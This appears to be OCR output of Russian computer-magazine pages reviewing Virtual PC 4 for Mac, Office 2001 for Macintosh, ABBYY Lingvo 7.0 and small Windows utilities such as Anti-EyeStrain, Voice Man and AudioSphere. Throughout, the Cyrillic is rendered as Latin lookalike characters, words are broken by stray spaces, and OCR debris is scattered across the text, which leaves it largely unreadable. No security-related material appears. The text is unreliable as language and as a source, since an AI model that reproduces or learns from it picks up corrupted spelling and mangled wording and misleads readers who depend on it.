momcho BbidpaTb sanycK onepauMOHHOM 
CMCTeMbi MJIM A 06 aBMTb HOByiO 

PC. KpoMe Toro, Bbi MO>KeTe npMo6pecTM m OS Packs 
Toro >Ke pa3pa6oTHMKa, c npeAycTaHOB/ieHHbiMM m Ha- 
CTpoeHHblMM 0C. ripM MHCTa/l/lflAMM «BpyHHyio» npo- 
6/ieMbl B03HMK3I0T KpaMHe peAKO. B OCHOBHOM >Ke 

Virtual PC 4 BeAeT ce 6 a KaK KanecTBeHHbm PC c cep- 

TMC|DMAMpOBaHHblM «/Ke/ie30M». 

Cy 6 -beKTMBH 0 MHe Ka/KeTCA, hto Windows 
Millennium b cpeAe Virtual PC pa 6 oTaeT 6 bicTpee, 
neM Windows 98 b TaKoPi >Ke KOHcJ/MrypaAMM. 
Windows Me k TOMy >Ke noxo>Ka Ha Mac OS ropa 3 AO 
60 /ibwe, neM KaKafl-/iM 6 o M 3 npeAbiAymnx Windows. 

Xota Virtual PC 4 C03AaHa p,nn Mcno/ib30BaHMA 
CMCTeMbi Windows, no/ie3HO 3HaTb, hto 3Kcn/iyaTMpo- 
BaTb b HePi mo>kho npaKTMHecKM /iio 6 yio onepauMOH- 
Hyio CMCTeMy p,nn PC. fl /imhho McnbiTa/i KOMMepnec- 
Kyio BepcMio Windows, «K)HMKCOByio» OpenStep m 
cbo 6 oaho pacnpocTpaH^eMbie K/iOHbi DOS — FreeDOS 
m Caldera DR-D0S 7. Ecjim y Bac moiahum npoueccop 
G3 m/im G4 MMHMMyM Ha 400 MI"a, TaK>Ke mo>kho mc- 
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no/ib 30 BaTb /ien<o MHCTa/mnpyeMbin WinLinux 2000. 
Virtual PC 4 MO>KeT pa6oiaib b flByx pe>KMMax — b 
OKH e nporpaMMbi mjim b no/iH 03 KpaHHOM, npn stom 
nepBbm BapnaHT yflo6eH npe>Kfle Bcero npn nepe- 
TacKMBaHMM cfian/ioB M3 Windows b Mac OS m o6pai- 
ho. B/iaroflapn ncno/ib 30 BaHnio Virtual PC 4 b Mac 
OS noflB/ifleTCfl B 03 M 0 >KH 0 CTb pa6oTaTb c cfianjiaMn 
npaKTMHecKM /no6bix cjDopMaTOB. HeflOdaTKOM npu 
3 TOM 53 B/ 153 eTC 51 OTHOCMTe/lbHO HeBbICOKafl CKOpOCTb 
o6MeHa MHcfiopMauMeM Me>Kfly pa6oHen 0C m SMy/ia- 
TopoM. npu no/iH 03 KpaHHOM pe>KMMe Bam Mac no/i- 
HOCTbio npeBpaiflaeTcn b PC. 

Pa6oia c SMy/inpoBaHHon cncreMon MfleHTMHHa 
pa6oie Ha HacrorufleM PC. 3anycK npn/io)KeHnn m 
pa6oia c hmmm TaK>Ke cxo>km c TeM, KaK sto nponc- 
xoflMT y pea/ibHoro PC. 3My/mTop flaeT bo 3 mo>k- 
HOdb «3aMopo3MTb» cocroriHne cpeflbi PC nepefl 
OKOHHaHMeM pa6oTbi SMy/mTopa. Ha npaKTMKe sto 
Bbi r/i53flm c/ieflyiOLflnM o6pa30M: npeflcraBbre, hto 
Bbi nenaiaeTe b Word nofl Windows n oflHOBpeMeH- 
ho y Bac OTKpbua rpacJinnecKafl nporpaMMa, b koto- 
pon HapucoBaH KaKOM-HM6yflb ^oroTMn. M bot Bbi 
peWM/lM 33KOHHMTb pa 60 Ty M BblKJHOHMTb KOMnblO- 
Tep. Virtual PC 4 npefl/iownT B03M0>KH0CTb 3anoM- 
HMTb aKTya/ibHoe Ha tot momcht cocroriHne SMy/m- 
Topa rm ] fla/ibHenwero ncno/ib30BaHM5i. npu c/ie- 
AyiOLfleM BK/HOHeHMM SMy/lflTOpa aBTOMaTMHeCKM 
BOCCT3HOBMTC5I C0CT05IHMe Cpeflbi nepefl OKOHHaHM- 
eM pa6oTbi: Ha 3KpaHe Bbi yBMflMTe OTKpbiTbin flOKy- 
MeHT Word Ha c|DOHe OTKpbiTon rpacJinnecKon npo- 
rpaMMbi c zioroTMnoM. 

KaK noflCKa3biBaeT Ha3B3HMe SMy/mTopa, penb 
MfleT O HeTBepTOM BepCMM npOflyKTa. riOCMOTpMM 
HaM6o/iee 3HaHMTe/ibHbie M3MeHeHM5i nporpaMMbi 
no cpaBHeHMio c npeflbiflyiflMMM Bepcn^MM. 

ripe>Kfle Bcero nporpaMMa no/iHocrbio onTMMM- 
3MpoB3Ha fl/ifl pa6oTbi c HOBbiMM npofleccopaMM G4 
c Velocity Engine m npofleccopaMM G3. C stmm cba- 
3aH POCT npOM3BOflMTe/lbHOCTM Ha 30% no cpaBHe- 
HMio c npeflbiflyiflMMM BepcMAMM. HannHaa c neT- 
BepTOM BepcMM, Virtual PC Ta K>Ke no3BO/meT bkjiio- 
HaTb HeCKO/lbKO BMpTya^bHblX MaiDMH OflHOBpeMeH- 
ho. napa/uie/ibHo MoryT pa6oTaTb pa3Hbie BepcMM 
OnepaflMOHHOM CMCTeMbl MJIM HeCKO/lbKO CMCTeM, 
coBepiueHHO OT/inHHbix flpyr ot flpyra. Hobmhkom 
cra/ia pa6oTa c o6pa3aMM amckct, 6/iaroflapfl neMy 
noriBn/iacb B03M0>KH0CTb MHCTa/i/iMpoB3Tb nporpaM- 
Mbi fl /153 PC c flMCKeT. He6o/ibwoe HOBOBBefleHne, 



a OflHa M 3 onuMM Virtual PC 4 — ycianoB- 
Ka annapaTHoro o6ecneHeHMH rj\b Bupry- 
a/ibHbix MauiMH 



a rpa<t>MHecKMM peflaKTop rjw DOS b agmctbmm 


KOTopoe, oflHaKO, MO>KeT csKOHOMMTb MHoro BpeMe- 
HM — B 03 M 0 >KH 0 CTb 3 arpy 3 KM npflMO C CD: MHCT 3 / 1 - 
ji 53 fl m 53 HeKOTopbix onepaflMOHHbix CMCTeM 6 /iarofla- 
pn 3 TOMy ycKopneTcn m ynpoiflaeTcn. 

Bo/lbWne M 3 MeHeHM 5 l np 0 M 30 LUJlM M C nOflflep>K- 
kom USB — Tenepb mo>kho ncno/ib 30 BaTb 6 o/ibWMH- 
ctbo o 6 opyflOBaHM 5 i, npeflHa 3 HaHeHHoro fl/m 
Windows. Te, kto n p m b bi k k Mbirnn fl/153 PC, MO>KeT 
pa 6 oTaTb c Hen m b SMy/inpoBaHHon 0C 6 e 3 ycra- 
hobkm flono^HMTe^bHbix ApanBepoB. B/iafle/ibflbi 
fl>KOMCTMKOB m MrpoBbix npMCTaBOK SideWinder TaK- 
>Ke CMoryT ncno/ib 30 BaTb mx KaK nofl Mac OS, TaK m 
nofl Windows. TaK>Ke Virtual PC npefl/iaraeT no- 
Apo 6 Hbie pyKOBOflCTBa no nHCTa/i/uiflnn onepaflM- 
OHHbix CMCTeM. 

XoT5i Connectix orpaHMHM/i pea/in3aflnio MrpoBbix 
B03M0>KH0CTeM, noflflep>KKa KapT 3dfx b hobom Bep- 
cMM Bee >Ke ecTb. Eo/ibwnHCTBO 2D-Mrp A/153 Windows 
Ta K>Ke 6yflyT pa6oTaTb KoppeKTHO. A A/153 DOS-Mrp 
6o/ibiue noflxoflMT npeflbiflyiflan BepcMM nporpaMMbi. 
A, HanpMMep, pj\n 3My/mflnn nrpoBon npncraBKM 
Sony PlayStation cfinpMa Connectix peKOMeHflyeT 
co6cTBeHHyio nporpaMMy Virtual Game Station. 

Pea/iM3aflMA pa6oTbi pa3Hbix onepaflMOHHbix cn- 
CTeM oco6eHHo yflo6Ha fl/m Tex /noflen, KOTopbiM 
MO>KeT noTpe6oBaTbcn nporpaMMa, HecoBMecruMan 
c ncno/ib3yeMon 0C. 

CpeflM hmx mo>kho Bbifle^MTb flBe rpynnbi no/ib- 
30 BaTe/ien — npocfieccnoHa/ibHbie web-flM 3 anHepbi 
M nporpaMMMCTbl. B 03 M 0 >KH 0 CTb npOTeCTMpOBaTb Ha 
OflHOM KOMnblOTepe CBOM CTpaHMflbl B HeCKO/lbKMX 
BepcM 5 ix Internet Explorer oflHOBpeMeHHO n/in ot- 
jiaflMTb My/ibTMn/iaTcjDopMeHHoe npn/io>KeHne 6 e 3 
6 eroTHM c OflHoro KOMnbiOTepa Ha flpyroM — bot, 
nowa/iyn, oflHO M 3 ocHOBHbix npeMMyiflecTB ncno/ib- 
30 B 3 HM 5 I Virtual PC 4 . Moiahoctm SMy/mTopa xBaTa- 


eTfla>Ke fl/m BocnpoM3BefleHM5i aHMMaflMM Flash, 
cf)M/ibMOB b cfiopMaTe MPEG m t. n. 

Ko BTopoM rpynne mo>kho othcctm no/ib30BaTe- 
/ien KOHKpeTHbix nporpaMM, KOTopbie b BepcM5ix fl/153 
Macintosh cto^t flopo>Ke m/w He noflxoflMT no flpyrMM 
npMHMHaM. HanpMMep, cneflMa^M3MpoBaHHbie npo- 
rpaMMbi A/153 DOS, KOTopbie cennac b 60/ibwnHCTBe 
c/iynaeB npefl/iaraiOTCfl 6ecn^aTHO m^m no HeBbico- 
kom fleHe m He pa6oTaiOT nofl Windows Me — no/ib- 
30BaTe^b Mac OS npM MMHMMa/ibHbix pacxoflax MO>KeT 
no^b30BaTbcn mmm c noMOiflbio 3My^5iTopa DOS. 

KpoMe Toro, Virtual PC 4 MO>KeT Mcno/ib 30 BaTbcn 
fl^n npocMOTpa My/ibTMMeflMMHbix CD n 3 HflMK/ione- 
AMM — npuneM HeKOTopbie M 3 hmx 6 bicTpee pa 6 oTa- 
hdt nofl 3 My/i 5 iTopoM, a He Ha PC. 

HMKMTa BeHflKOBCKMM 


a Hasaft b npouj/ioe — TeKCToeasi npo- 
rpaMMa DOS 


Virtual PC 4 


SiviyjiflTop onepaflMOHHbix CMCTeM fl/in Mac 

M3roTOBMTe/ib Connectix, San Mateo, CA, USA 
www. connectix. com 

IfleHa (npn 3aKa3e Ha caMTe pa3pa6oTHMKa) $199 
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SOFTWARE ocJ)MCHbie npM/ioweHMH rj\ n Mac OS 


Microsoft Office 200 1 ajia Macintosh 

Office b cTkme Apple 

Microsoft Office, 6e3yc/i0BH0, flocraTOHHO npoTMBopeHMBbm npoflyKT, MfleT/ii/i penb o Bepci/in p,nn 
Windows m/im Mac OS. 3to caMbin 6o/ibwoM n caMbm c/io>KHbm ocjDMCHbm naKeT, KOTopbin Korfla-.nn6o 
co3flaBa^CB. no/ib30BaTe/in Macro wa/iyiOTCfl Ha Heyflo6Hoe ynpaB/ieHMe m M36biTOHHoe KO/iMHecTBO 
cfiyHKLiMM, KOTopbie Bee paBHO HMKorfla He ncno/ib3yioTCfl, ho yc/iojKHruoT opneHTapmo b nporpaMMax. 


H eflaBHo Kopnopauna Microsoft npeflciaBM/ia 
Office 2001 Macintosh. B npnHAnne 
3flecb HeT HMHero HOBoro, nocKO/ibKy ocjDMCHbie 
npM/io>KeHMfi pj\9 \ 3tom n/iaTc|DopMbi pa3pa6aTbiBa- 
/lucb m paHee, OflHaKO ohm 6bi/iM He cjimlijkom nony- 
/l 53 p H bl M3-3a MHOTOHMC/ieHHblX Heflopa6oTOK. Ho- 
Bbm Office 2001 no cpaBHeHMio c 6o/iee paHHMMM 
BepcMfiMM cyiMecTBeHHO M3MeHM/icfl. Tenepb sto flo- 
ciaTOHHO yflaHHbiM nporpaMMHbm naxeT p,nn n/iaT- 
cjaopMbi Macintosh. 

B OT/iMHne ot npeflbiAyiMMx Bepcnn pa3pa6oTHMKM 
M3 Macintosh Business Unit (MacBU) He cra/iM 
«b jio6» KonMpoBaTb Windows-BepcMM OTAe/ibHbix 
nporpaMM, a Bbi6pa/in co6dBeHHbiM nyTb. npM coxpa- 
HeHMM Bcex cfiyHKUMM M3MeHeH BHeiUHMM BMA no/ib30- 
Baie/ibCKOM cpeAbi b cooTBeTCTBMM co CTM/ieM Apple. 

Office 2001 

HoBbiM Office no3BO/meT no/iHocrbio ncno/ib30BaTb 
Bee B03M0>KH0CTM OnepaUMOHHOM CMCTeMbl Mac OS. 


Oh coAep>KMT Bee, hto MO>KeT noTpe6oBaTbai pj\n 
pa6oTbi b ocjDMce mjim AOMa. K HaM6o/iee Hacro mc- 
no^b3yeMbiM npn/io>KeHnflM Office 2001 TpaAnun- 
oh ho OTHocflTCfl TeKCTOBbiM peAaKTop Word, 6po- 
y3ep Internet Explorer m «rM6pMA» e-mail K/ineHTa 
c opraHaM3epoM Entourage. floBO/ibHo Hacro mc- 
no/ib3yeTCfl m nporpaMMa pj\s\ C03AaHM5i 3/ieKTpoH- 
Hbix Ta6/iMA Excel, a k HaMMeHee nony/mpHbiM otho- 
cmtca PowerPoint. 

1/liaK — hto >Ke npeA-naraiOT ocHOBHbie npo- 
rpaMM bi Office 2001. 

Word — BepoflTHo, caMbin pacnpocrpaHeHHbm Texc- 
TOBbiM peAaKTop Ha n/iaTcfiopMax Windows m Mac OS. 
Oh npeA/iaraeT Han6o/iee wnpoKMM cneKTp cfiyHKUMM 
A/m o6pa6oTKM TeKCTa m oaho m3 maBHbix ero npe- 
MMyiAeCTB — B03MO>KHOCTb pa60Tbl C HeCKO/lbKMMM 
5i3biKaMM b paMKax OAHoro AOKyMeHTa. 

Entourage — yAanHaa KOM6nHauM5i e-mail K/iMeHTa 
m opraHaM3epa (BK/nonafl bo3mo>khoctm cmhxpohm- 
33AMM c KOMnbHDTepaMM, coBMecTMMbiMM c Palm 



▲ Bbi MomeTe Bbi6parb roTOBbiM iua6/iOH 
n sanycTMTb cooTBeTCTBytoLnee npu/ioxteHiie 


OS). HoBopfi o cJayH KUM53X opraHaM3epa, ctomt noA- 
nepKHyTb, hto 3to He aHa/ior Outlook A/m 
Windows. Entourage — «OAHono/ib30BaTe/ibCKMM» 
jiMHHbm opraHaM3ep. Cennac Microsoft npeA/iaraeT 
A/m 6ecn/iaTHoro CKaHMBaHM/i Outlook 2001 Beta 
A/m Mac OS — 3Ta nporpaMMa, HanpoTMB, b 6o/ib- 
wen Mepe npeAHa3HaneHa A/m ceTeBoro ncno/ib30- 
B3HM51. 

Internet Explorer — no>Ka/iyn, oamh m 3 caMbix no- 
ny/mpHbix 6poy3epoB. BecbMa KanecTBeHHO oto 6- 
pa>naeT o6biHHbie crpaHMAbi HTML, MMeeT noAAep/K- 
Ky CSS, OTHOCMTe/ibHO Hen/ioxo noHMMaeT 
JavaScript. ripo6/ieMbi MoryT B03HMKHyTb mnbKO 
npM npocMOTpe HexoppeKTHO C03AaHHbix crpaHnu 
m/im HeBepHOM Mcno/ib30B3HMM JavaScript. 

Excel - Ay^aio, hto 3Ta nporpaMMa A/m pa6oTbi 
c 3/ieKTpoHHbiMM Ta6/iMAaMM b oco6om npeAcraB/ie- 
hmm He Hy>KAaeTC5i. floKyMeHTbi, co3AaHHbie b Excel 
Ha PC, KoppeKTHo OTKpbi BaiOTCfi m Ha Macintosh. 
PowerPoint — b nepByio onepeAb c/iy>KMT A/m noA- 
roTOBKM npe3eHTauMM. l"lo/ib30BaTe/mM Macintosh 
6yAeT MHTepecHO, hto Becb npoeKT, CAe/iaHHbiM 
c noMOiAbio PowerPoint, mo>kho nepeBecTM b cjaop- 
MaT QuickTime. 

06iiiee enenaT/ieHMe 

n0^b30BaTe^M KOMnblOTepOB Apple M3BeCTH bl 
cbomm HeAOBepMeM k npoAyKTaM Microsoft. EiAe 
HecKO/ibKO zieT Ha3aA 6bi/io npaKTMnecKM HeB03- 
mo>kho BCTpeTMTb npoAyKT 3 tom KOMnaHMM, ycTa- » 
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>L p-* i‘ rv. I iJr l ir-pl 



a Microsoft Excel 2001 

» HOB^eHHbiki Ha Macintosh. l/l3MeHeHMe ci/iTyapn n 
roBopm o tom, hto npoflyKTbi Microsoft, npeflHa3- 
HaneHHbie p,nn Mac OS, cra/ii/i 6o/iee KanecTBeH- 
HbiMM. Hto Kacaera CTa6n/ibH0CTM, npo6/ieMbi 


B03HMKai0T TO/ibKO npn pa6oTe Explorer m 
E ntourage, n to, KaK npaBn/io, mnbKO npn o6pbi- 
Be CBA3M npM MCn0Jlb30BaHMM nOflK/nOHeHMfl 
Dial-Up. flpyroe rapaHTnpoBaHHoe 3aBMcaHMe 



Office mac 

3»1 

Bbi30BeT nonbiTKa OTnpaBi/iTb n/in 3a6paTb noHTy 
M oflHOBpeMeHHO 3arpy3MTb cjaa m/i bi npn noMomn 
Download Manager b Internet Explorer. Ocra/ib- 
Hbie nporpaMMbi oneHb CTa6i/i/ibHbi, HanpnMep 
c Word M Excel HMKaKMx npo6/ieM flawe npn ao/i- 
roPi m MHTeHCMBHOM pa6oTe He bo3hm K aeT. 

TaK>Ke HOBbiM Office AOBO/ibHO chocho nofl- 
flep>KMBaeT AppleScript — cncTeMHbiM fl3biK kom- 
nbiOTepoB Apple. 

I/I b 3aK/noHeHi/ie oamh MHTepecHbiPi c|)aKT: 
no coo6iMeHMio eweflHeBHoPi nHTepHeT-ra3eTbi TIME 
Digital, b fleKa6pe 2000 rofla OflHa aMepnKaHCKafl 
KOMnaHMfl nepew/ia c n/iaTc|DopMbi Windows (62 
KOMnbiOTepa) Ha n/iaTc|DopMy Mac Os. Eamhctbchhom 
npMHMHOM 6bm HOBbin ocjDMCHbm naKeT Office 2001 
A/ifl Macintosh. ■ ■ ■ MaKCMM MaKapeHKOB 
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SOFTWARE KopoTKMe peueH3MM 


ABBYY Lingvo 7.0 

npaBAa 06 

Oko/io rofla Ha 3 afl, pa 6 oTau c 6 o/ibWMMn 06 -beMaMi/i aH- 
mo 5 i 3 biHHOM noHTbi, ft cra/i ncnbiTbiBaTb 3 aipyflHeHM 5 i, 

TaK KaK mom aHrnMMCKMM ocTaB/meT we/iaTb /lynwero. 
TorAa wecrafl Bepcnu Lingvo oneHb MHe noMoma. 

A n03HaK0MM/lCfl ft C 3TMM C/lOBapeM TaK. KaK-TO 
noc/ie o6efla, 3ar/mHyB b ceKpeTapnaT, HTo6bi Bbi- 
nMTb Kocfie, ft o 6 mo/ibm/ioi o CBoeM HecnacTbe c aH- 
r/lMMCKMM. MHe TOrAa OTBeTM/lM, HTO KaKOM-TO AUCK 
co c/iOBapeM y Hac ecTb, m cncreMHbin aAMMHMCTpa- 
Top /iio 6 mt KpyTMTb ero Ha KapaHAawe. B o6iAeM, 
Lingvo MHe ycTaHOBM/in, m ft ocra/icu AOBO/ieH, 
b nepByio onepeAb noTOMy, hto He npnw/iocb pa3- 
6MpaTbcu c MHiepcfieMcoM, a Ma/ieHbKoe okho npo- 
rpaMMbi coBepiueHHO He Mewa/io pa6oiaib c Apyrn- 
mm npn/io/KeHMUMM. Cneuna/ibHO paccKa3aTb 
hto-/im 6 o o Lingvo AOBO/ibHO cjio>kho - OHa npodo 
ycTaHaB/iMBaeTCfl, 3anycKaeTcu m pa6oTaeT, ho ft 
Bce-TaKM nonbuaiocb onncaTb K/iioneBbie MOMeHTbi. 

TeMaTiiHecKiie pa3Ae/ibi 

noc/ieAHMM no BpeMeHM BbinycKa c/iOBapb Lingvo 7.0 
noAe/ieH Ha 18 TeMaTMHecKMx pa3Ae/iOB. 3 to OKa3bi- 
BaeTcu oneHb no/ie3HbiM, ec/in KaKoe-/in6o c/iobo mo- 
>KeT TpaKTOBaTbCfl HeCKO/lbKMMM Cn0C06aMM: yHMTbl- 


ABBYY LINGVO 7.0 


► Pentium 133 m/im Bbiiue 

► Windows 95/98/M E/2000/NT 4.0 (SP3 m/im 
B biiue) 

► 16 M6aMT 03y f\r\ft Windows 9x/ME, 32 M6anT 
A/ia Windows 2000/NT 4.0 

► Ot 85 ao 265 M6aMT CBo6oAHoro 
npocTpaHCTBa Ha wecTKOM AMCKe 

► 3,5"AK)M MOBbIM AMCKOBOA m CD-ROM 
OAHOBpeMeHHO, MbILUb 

► Microsoft Internet Explorer 5.0 m/im Bbiiue 


ABBYY Lingvo 



Baa KOHTeKCT, ropa3AO uerne h3mtm npaBM/ibHbin ne- 
peBOA- KpoMe Toro, TaKau pa36MBKa c/iOBapu uB/meT- 
Cft Heo6xoAMMOM c yneTOM obteMa MHcfiopMaunM, ko- 
TopbiM coAep/KMTCu b Lingvo 7.0 — oko/io 1,2 m/ih 
C/ lOB M C/lOBOCOHeTaHMM. KOHeHHO, yubl6xy MO>KeT Bbl- 

3BaTb cn-ryauMfl, KorAa puAOM co cjiobom motherboard 
b CTO/i6MKe npMcyTCTByiOT >KaproHHbie Bbipa/KeHMu, 
KOTopbie Bbi MO>KeTe ycubimaTb pa3Be hto npn npo- 
CMOTpe aMepMKaHCKMx 6oeBMKOB 6e3 nepeBOAa, OAHa- 
ko, Aa>Ke p,nft hmx npncyTCTByiOT pa3yMHbie nepeBOAbi 
m TO/iKOBaHMii, KaK to: «0co6eHHo xapaKTepHo &j\ft 
peHM HerpoB». Pa3Ae/ibi aKTMBM3npyiOTCfl m/im otk/iio- 
HaiOTCfl KHOnKaMM B BepXHeM H3CTM OKHa. 

B craTbux AaiOTCu rpaMMaTMHecKMe KOMMeHTa- 
pMM K 6o/lblUMHCTBy CJ10B M yKa3bl BaiOTCfl B03M0/K- 
Hbie BapMaHTbi mx nepeBOAa, TpaHCKpMnpnfl, nac- 

TO — CMHOHMMbl M 3HTOHMMbl. 


Ml Pentium II Xe&n 


-|R +(1] jjrj| | LrigvoCompUtei |E 

|P#ntium II Xeon 

nponectcp 

ipupMhi fntef dna MNoeonponeccopuhix 


noxa eiAe He oneHb 6oraTbiM, ho MHorAa BecbMa 
noue3HbiM OKa3biBaeTC5i 03ByneHHbin pa3Ae/i. Oh mo- 
>KeT npnroAMTbcu npM noAroTOBKe k BcrpenaM c aHmo- 
TOBOpflLAMMM /UOAbMM. 

Lingvo KaK MHCTpyivieHT 

flyMaio, hto Lingvo UB/meTCfl xopomMM npoc|Deccno- 
Ha/lbHblM MHCTpyMeHTOM, KOTOpbIM TaK M He CT3/1M npO- 
rpaMMbi-aBTonepeBOAHMKM, KOTopbie, 3aMeHuu aoc/iob- 
HO (MUM AOC|)pa3HO) KyCKM TeKCTa, BblAaiOT B KOHeHHOM 
MTore TpyAHOHMTaeMoe mccmbo. B /iio 6 om c/iynae npn- 
xoamtcu o6paiAaTbcu k opMTMHa/iy. 

Lingvo npeA/iaraeT BaM Mcno/ib30BaTb npM ne- 
peBOAe CTapbiM Ao6pbm noAxoA, ho 06/ierHMTb ce- 
6e opMeHTMpoBaHMe b cuoBax. HeMa/iOBa>KHbiM p,nft 
CUOBapU CBOMCTBOM UB/lfleTCfl erO MHTepaKTMB- 
HOCTb, to ecTb Lingvo noAXBaTbiBaeT c/iobo f\nft ne- 
peBOAa npuMO M3 Windows-npnjio>KeHnfl, Hanpn- 
Mep 6poy3epa m/im Word, ec/in Bbi Bocno/ib3yeTecb 
«ropUHMMM K/iaBMLLiaMM». 

Lingvo. PoccMMCKan pa3pa6oTKa 

L \eua Abbyy Lingvo cocTaB/meT Bcero $12. flyMaio, 
3 to cnoco6 pemMTb npo6ueMy He/iera/ibHoro pac- 
npocrpaHeHMfl, noTOMy hto b kohchhom MTore no 
cooTHomeHMK) KaHecTBo/ ueHa BbiroAHee KynMTb 
npoAyKTy pa3pa6oTHMKa. 


Anti -EyeStrain 1.1 

r/ia3KM, HTO Bbi BMA6/1M? 


3 a 6 aBHau yTM/iMTa, noMoraioiAau CHMMaTb Hanpu>Ke- 
HMe ma 3 bo BpeMu pa 6 oTbi 3 a KOMnbiOTepoM. BeAb 
M 3 BeCTHO, HTO ma 3 a He/lOBeKa yTOMUUIOTCU He CTO/lb- 
ko M 3 - 3 a M 3 /iyneHMu, MAyiAero ot MOHMTopa, CKO/ibKO 
ot KanecTBa 3 KpaHHoro M 3 o 6 pa>KeHMu, KOTopoe KaK 
pa 3 m npMBOAMT k CMUbHeMiueMy nepeyTOM/ieHMio 
3 peHMu. Haw/iMCb m Ao 6 pbie /iioah, KOTopbie npMAy- 
Ma/iM nporpaMMy, CHMMaioiAyio 3 pMTe/ibHoe Hanpu- 
>KeHMe. B nporpaMMe ecTb B 03 M 0 >KH 0 CTb 3 aAaBaTb 

Pa3pa6oTHMK eyestrain.f2s.com, 
www.glaza.nm.ru 

Yc/ioBMfl pacnpocTpaHeHMfl freeware 


npoMe>KyTOK Me>KAy nepepbiBaMM b pa6oTe, a T3K>Ke 
TecTMpoBaTb Bame cocTouHMe. noc/ie Toro KaK Bbi 
BBeAeTe onpeAe/ieHHbie napaMeTpbi, nporpaMMa 
npeAuo>KMT BaM cnoco6 chutmu Harpy3KM. 3 to MoryT 
6biTb KaK npeABapMTe/ibHbie ynpa>KHeHMu (3aKpbrrne 
ma3 m MaccMpoBaHMe BeK b TeneHMe 1 mmh), TaK n 
3KpaHHbiM BM3MOTpeHMHr. nporpaMMa COAep>KMT 
cneuMa/ibHO noAo6paHHbie M3o6pa>KeHMu, noMoraio- 
lAMe CHUTb 3pMTeubHoe yTOM/ieHMe. CMOTpeTb Hy>KHO 
Bee BpeMu b ueHTp 3KpaHa. TpeHnpoBKa HaHMHaeTcu 
noc/ie Ha>KaTMu KHonKM «3aKpbiTb». npepBaTb TpeHM- 
pOBKy MO>KHO B JII060M MOMeHT H3)KaTMeM K/iaBMLUM 
Esc. nepeA Ka>KAbiM ynpa>KHeHMeM peKOMeHAyeTCu 
nocMOTpeTb BAa/ib (Ha paccTOUHMe okouo 6 m) b Te- 


neHMe 20 ceKyHA- Hmhho ft Mcno/ib3yio AaHHbiM Me- 
toa chutmu Hanpu>KeHMu, m oh MHe noMoraeT. HaAe- 
lOCb, HTO M BaM nOMO)KeT. 
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Voice Man 1.00 


norOBOpM XOTb Tbl CO MHOH 


rtapH ■ lpk.rBHHILH E LM I M 
rnHiii- & 'V W 1 
kb. OHKhU»P 4 *> 3 iN 4 Ch 0 n 
i KL Ctt-flftlbiitt 




noMHme, b dapoflaBHMe BpeMeHa 6 bi/ia npo- 
rpaMMKa, KOTopan yMe/ia roBopmb m Ha3biBa/iacb 
Voice Mouse? l"loxo>Ke, hto ziaBpbi ee aBTopoB He 
AaBa/iM noKon HeKOTopbiM TOBapMiAaM, m ohm pe- 
LU M/1 M Hepe3 HeCKO/lbKO J\eJ C03flaTb HeHTO noxo- 
>Kee. flawe nasBame ev\ p,anv\ BecbMa co3ByHHoe 
npoTOTMny. Voice Mouse yyie/ia BOcnpoM3BOflMTb b 
ro/iocoBOM pe>KMMe TeKCT, KOTopbm Mor 6 paTbc/i 
Kax M3 6 yct>epa, Tax m m 3 cj/aM/ia, nepe3 3ByKOByio 

Pa3pa6oTHMK ► vsen.sp.ru 

yc/ioBMH pacnpocTpaHeHMH freeware 


AudioSphere 2.50 RE 

Pa36yAM Me ha 

3ia nporpaMMa MO>KeT 3aMeHMTb pery/mTop rpoMKOC- 
tm. B npMATHOM 060 /ioHKe ecTb Ma/ieHbKMe aHa/ioro- 
Bbie nacbi, ohm npMflaiOT nporpaMMe hckmm mapM 
m 3aHMMaiOT Ma/io Meda Ha 3KpaHe. 3HanoK npo- 
rpaMMbi npM ee CBopaHMBaHMM Ha naHe/iM 3aflan Ta- 
kom we, KaK m y craHflapTHoro pery/mTopa rpoMKOC- 
TM, TO/lbKO CMHerO LJBeTa, M Bbl3blBaeTC51 Ha>KaTMeM 
jieBOM KHonKM MbiiuM. CBepxy MMeeTCii 5 KHonoK: 

TOHKa m uMcJapbi ot 1 flo 4. LJ^m cJd p bi 03Hanai0T HOMep 
AHeMKM naMilTM. TOHKOM npOM3BOflMTC51 3anOMMHaHMe 
HadpoeK. TaKMM o6pa30 M, mo>kho 3anoMHMTb 4 BMfla 
HadpoeK. «Hto 3anoMMHaTb?» — cnpocMTe Bbi. 

A bot hto. BHM 3 y, TaM, rAe «tm Ka tOT» aHa/ioroBbie na- 
CMKM, eCTb Ma/ieHbKMM Kpy>KOHeK — 3TO OpMTMHa/lb- 
ho oc|DopM/ieHH biM ypoBeHb rpoMKOCTM. nepeMeiAe- 
HMe ero BBepx m/im bhm 3 npMBeAeT cooTBeTCTBeHHO 


Kapiy. 3aHMMa/ia OHa Ma/io Mecra, ho npM stom 
MMe/ia 4 BMAa ro/ioca (MywcKOM, wchckmm m Aea 
AeTCKMx) m Ha Ka>KAbiM ro/ioc no HecKO/ibKO to- 
Ha/lbHOCTeM M CKOpOCTeM, HTO B MTOre He TaK y>K M 
Ma/io. y nporpaMMbi Voice Man Bcero 4 «nepcoHa- 
>na» (Ha Ka>KAoro M3 hmx Bcero no 2 TOHa/ibHocm), 
MOAy/iM a nn KOTopbix Heo6xoAMMO «CKaHMBaTb» ot- 
Ae/ibHO (o6-beM Ka>KAoro b cpeAHeM 1,5 M6aiiT), 
hto y>ne MO>KeT AOCTaBMTb HexoTopoe HeyAo6cTBO. 
CaMa >ne nporpaMMa 6e3 MOAy/ieM 33HMMaeT 840 
K6aMT, hto no HbmeiuHMM BpeMeHaM HeMHoro, ho k 
H eu Heo6xoAMMO CKanaTb 4 Aono/iHMTe/ibHbix mo- 
Ay/ifl. CAe/iaTb 3 to npM we/iaHMM mo>kho no aApecy: 


Ha 3ape 

k yBe/iMHeHMio m/im yMeHbiueHMK) 3ByKa. llepeMeiAe- 
HMe B/ieBo/BnpaBO pery/iMpyeT 6a/iaHC 3Byxa. C/ieBa 
ot nacoB ecTb KHonna «N» — HopMa/iM3auM/i 3Byxa 
(ycTaHOBKa pery/mTopa b uem-pa/ibHoe no/ioweHMe). 
CnpaBa HaxoAMTcn «M» — npnmyiueHMe (ot aHr/i. 
Mute). flocTaTOHHO LAe/iKHyTb npaBOM KHonKOM Mbi- 
llim b /iio 6 om MecTe pa6onero 3KpaHa nporpaMMbi, 
HTo6bi nonBM/iocb Aono/iHMTe/ibHoe MeHio. EcTb 
b MeHio m nyHKT «MMKiuep», c noMOiAbio KOToporo 
MO>KHO Bbl3B3Tb CTaHAapTHbIM MMKLLiep Windows, 
a nyHKTOM «My/ibTMMeAMa» — HacrpoMKM My/ibTMMe- 
AMa, KOTopbie HaxoAflTC/i b naHe/iM ynpaB/ieHM/i. 
